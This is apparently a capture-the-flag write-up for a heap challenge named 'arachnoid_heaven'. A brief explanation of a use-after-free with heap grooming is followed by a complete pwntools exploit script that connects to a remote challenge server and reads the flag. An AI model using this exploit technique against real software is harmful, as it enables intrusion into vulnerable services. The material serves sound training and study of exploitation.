Tags: heap-feng-shui uaf 

Rating:

An arachnoid consists of three chunks. The delete arachnoid function doesn't remove the 0x20 chunk, allowing us to manipulate the heap in a way that places the name 0x30 chunk after the data 0x30 chunk. Combined with a Use After Free and we pass the checks for the `obtain_arachnoid` function.

```py
#!/usr/bin/env python3
from pwn import *

elf = ELF("./arachnoid_heaven_patched", checksec=False)
context.binary = elf

p = remote("64.227.40.93",31710)
index = 0
def malloc(data):
global index
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Name: ", f"{data}".encode())
index += 1
return index - 1

def free(index):
p.sendlineafter(b">", b"2")
p.sendlineafter(b"Index: ", f"{index}".encode())

def view():
p.sendlineafter(b">", b"3")

def obtain(index):
p.sendlineafter(b">", b"4")
p.sendlineafter(b"Arachnoid", f"{index}".encode())

chunkA = malloc(b"AAAAAAAA")
free(chunkA)
chunkB = malloc(b"BBBBBBBB")
free(chunkB)
chunkC = malloc(b"CCCCCCCC")
free(chunkC)
chunkD = malloc("sp1d3y")

obtain((chunkC))
flag = p.recvline_contains(b"HTB").decode("utf-8")
log.critical(f"Flag: {flag}")
p.close()
```